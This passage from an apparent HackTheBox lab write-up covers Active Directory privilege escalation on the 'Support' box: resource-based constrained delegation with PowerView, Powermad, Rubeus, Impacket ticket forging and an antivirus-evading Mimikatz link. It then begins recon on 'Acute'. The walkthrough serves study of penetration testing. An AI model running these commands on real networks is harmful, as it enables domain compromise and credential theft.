/domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0738.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That produced an error, so I decided to use the second method it recommended.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# First, upload PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upload ../../PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$UserPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0739.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, I could not change the password. This path was a dead end.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0740.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While exploring this route, I found that the current user had GenericAll over the Domain Admins group. I tried a method I found online:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/" target="_blank" rel="noopener"&#10; &gt;https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That failed too because I did not have enough privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0741.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0742.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I never expected the path to look like this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0743.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found it by following the hint. But when I tried SUPPORT as the starting point and DC.SUPPORT.HTB as the destination, this path did not appear. It also did not appear when I pointed it at administrator. At least I learned another method: in the future, I can use the current user&amp;rsquo;s group as the starting point and map a path to administrator.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0744.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started reading the help. Since it was all in English, I also found a blog on Google and used the two together.&lt;/p&gt;&#10;&lt;p&gt;It mentioned that resource-based constrained delegation was possible here. First, I prepared the following files and uploaded them to the target.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/GhostPack/Rubeus/releases/tag/1.6.4 Must be compiled manually&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;First, I created a computer account controlled by the current account. This required importing Powermad.ps1.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString &amp;#39;Summer2018&amp;#39; -AsPlainText -Force)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I imported PowerView.ps1 and retrieved the new computer account&amp;rsquo;s SID.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Next, I needed to use the SID of the computer added by the attacker as the principal, construct a generic ACE, and obtain the binary bytes of the new DACL/ACE. I did not fully understand the underlying mechanics of this step, so I would have to take it slowly. I had actually used resource-based constrained delegation on FOREST before and even took notes, but I had forgotten how it worked. This was a good chance to review it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList &amp;#34;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SDBytes = New-Object byte[] ($SD.BinaryLength)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SD.GetBinaryForm($SDBytes, 0)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer dc.support.htb | Set-DomainObject -Set @{&amp;#39;msds-allowedtoactonbehalfofotheridentity&amp;#39;=$SDBytes} -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainComputer support -Properties msds-allowedtoactonbehalfofotheridentity | select -ExpandProperty msds-allowedtoactonbehalfofotheridentity&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe hash /password:Summer2018&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe hash /password:Summer2018 /user:attackersystem /domain:support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;According to the tutorial, this step should have given me the RC4 hash, but I got no output at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0745.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Absolutely nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0746.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It produced output on Kali. If I could not use this to obtain the RC4 hash, I would not be able to exploit the delegation.&lt;/p&gt;&#10;&lt;p&gt;I uploaded Mimikatz, but after the upload completed, I noticed that it had disappeared.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0747.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That confirmed it: antivirus was running on the target. It immediately killed the Mimikatz binary I uploaded, and that was also why Rubeus.exe had never run successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0" target="_blank" rel="noopener"&#10; &gt;https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I used the antivirus-bypass version from that repository. RC4 here was effectively the NTLM hash, so I hashed the password I had created.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0748.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7f4f718d5029000926a9278c5cfd0872&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The next step in the tutorial was to request an ST, but the command below still did not work.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe s4u /user:attackersystem$ /rc4:7f4f718d5029000926a9278c5cfd0872 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Mimikatz did not work either.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; .\code_x64.exe &amp;#34;kerberos::ptt /user:attackersystem$ /domain:support.htb /rc4:7f4f718d5029000926a9278c5cfd0872 /target:cifs/dc.support.htb /impersonate:administrator&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There was still another way. I had already reached the final step of obtaining the ST, and geST.py matched exactly what I needed. I could access ports 88 and 389 on the target, so Impacket was a good option at this point.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u support.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getST.py -spn cifs/dc.support.htb -impersonate administrator support.htb/attackersystem$:Summer2018&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0749.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It finally worked. That was painful. I started importing the ticket using the same method I had documented before.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass administrator@dc.support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass administrator@dc.support.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0750.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had clearly imported it, yet it still failed. I tried every command above and none of them worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0751.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This blog post gave me the answer: &lt;a class="link" href="https://github.com/fortra/impacket/issues/779" target="_blank" rel="noopener"&#10; &gt;https://github.com/fortra/impacket/issues/779&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0752.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Every time I ran an Impacket script, I had to synchronize the clock first. I had already disabled local time synchronization, but it still behaved this way. Now that I had run into the issue, I would know how to solve it the next time it happened.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u support.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0753.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This was a really good box for broadening my skills. During the initial shell stage, I learned to identify the language an application was written in and then find the matching decompiler. It was just like Python and Java: once you use the appropriate decompiler, the code logic is understandable (I genuinely cannot make sense of IDA). This one was C#, and I found the right decompiler for it. I also learned how to run EXE files with Wine on Kali. I had kept getting errors when I first tried to configure it and simply ignored them, so I was glad I eventually got it working. Then there was LDAP: you need to inspect all of the information yourself, because something useful may be hidden in the info field.&lt;/p&gt;&#10;&lt;p&gt;I got stuck far too often during privilege escalation. BloodHound did not show me a direct relationship from the user to the group. Here I learned that the current user is not the only possible starting point; the user&amp;rsquo;s group can be one too. Resource-based constrained delegation itself was not a major problem, since there are plenty of tutorials online. The real obstacle was antivirus evasion. I could not find an antivirus-safe build of Rubeus.exe online. There was one for Mimikatz, but generating an ST with it seemed more complicated. The command I pieced together did not work, and Google did not turn up anyone using Mimikatz to generate an ST; everyone used Rubeus.exe. Fortunately, I eventually realized that since I had reached the last step—generating the ST—I could use Impacket instead. Ports 88 and 389 were open on the target, which made that possible. If they had been closed, I might have needed another approach. And I learned the most important lesson of all: when using Impacket tools, synchronize the clock first.&lt;/p&gt;&#10;&lt;p&gt;Overall, this was a pretty good box.&lt;/p&gt;&#10;&lt;h2 id="23acute"&gt;&lt;a href="#23acute" class="header-anchor"&gt;&lt;/a&gt;23.Acute&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0754.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0755.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0756.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there, but I&amp;rsquo;d run into this situation before, so I checked the certificate.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0757.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That gave me a domain name.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0758.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing, but HTTPS was accessible now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0759.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;WhatWeb fingerprinted it as a .NET site.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whatweb https://atsserver.acute.local/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://atsserver.acute.local/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.145], JQuery, Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/html,text/javascript], Title[Acute Health | Health, Social and Child care Training], X-Powered-By[ASP.NET]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I added asp and aspx to the extensions and started brute-forcing. At the same time, I used FFUF to brute-force subdomains and looked around for any endpoints on the site.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,js,html,asp,aspx -k -t 50 -u https://atsserver.acute.local/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u https://10.10.11.145 -H &amp;#34;Host: FUZZ.acute.local&amp;#34; --hc 404&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0760.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0761.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The brute-force scans didn&amp;rsquo;t give me much.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0762.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a file in the top-right corner. I downloaded it, and its creator was FCastle.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0763.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It mentioned a login URL.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The University’s staff induction pages can be found at: https://atsserver.acute.local/Staff&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The Staff Induction portal can be found here: https://atsserver.acute.local/Staff/Induction&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0764.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also mentioned a default password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span 